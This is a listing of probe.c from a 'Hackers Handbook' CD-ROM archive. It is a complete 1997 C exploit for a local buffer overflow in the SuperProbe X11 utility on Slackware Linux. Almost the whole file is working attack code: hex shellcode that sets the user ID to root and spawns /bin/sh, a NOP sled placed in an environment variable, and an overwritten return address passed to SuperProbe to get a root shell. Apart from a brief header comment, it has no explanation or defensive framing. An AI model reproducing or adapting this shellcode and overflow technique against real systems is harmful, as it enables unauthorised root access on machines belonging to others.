home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / exploits / probe.c < prev    next >
Encoding:
C/C++ Source or Header  |  1998-10-15  |  1.1 KB  |  45 lines

  1. /*
  2. * SuperProbe buffer overflow exploit for Linux, tested on 
  3. * Slackware 3.1 * Copyright (c) 1997 by Solar Designer
  4. *
  5. * NOTE: if this doesn't work, change the alignment from 0 to 1, 2, or 3. 
  6. *
  7. */
  8.  
  9.  
  10. #include <stdio.h>
  11. #include <stdlib.h>
  12. #include <unistd.h>
  13.  
  14. #define alignment 0
  15.  
  16. char *shellcode =
  17.   "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1" 
  18.   "\xff\xd4\x31\xc0\x8d\x51\x04\x89\xcf\x89\x02\xb0\x2e\x40\xfc\xae\x75\xfd" 
  19.   "\x89\x39\x89\xfb\x40\xae\x75\xfd\x88\x67\xff\xb0\x0b\xcd\x80\x31\xc0\x40" 
  20.   "\x31\xdb\xcd\x80/"
  21.   "/bin/sh"
  22.   "0";
  23.  
  24. char *get_sp() {
  25.   asm("movl %esp,%eax");
  26. }
  27.  
  28. #define bufsize 8192
  29. char buffer[bufsize];
  30.  
  31. main() {
  32.   int i;
  33.  
  34.   for (i = 0; i < bufsize / 2; i += 4)
  35.     *(char **)&buffer[i] = get_sp() - 2048;
  36.   memset(&buffer[bufsize / 2], 0x90, bufsize / 2); 
  37.   strcpy(&buffer[bufsize - 256], shellcode);
  38.   setenv("SHELLCODE", buffer, 1);
  39.  
  40.   memset(buffer, 'x', 72);
  41.     *(char **)&buffer[72] = get_sp() - 6144 - alignment; 
  42.   buffer[76] = 0;
  43.  
  44.   execl("/usr/X11/bin/SuperProbe", "SuperProbe", "-nopr", buffer, NULL);
  45. }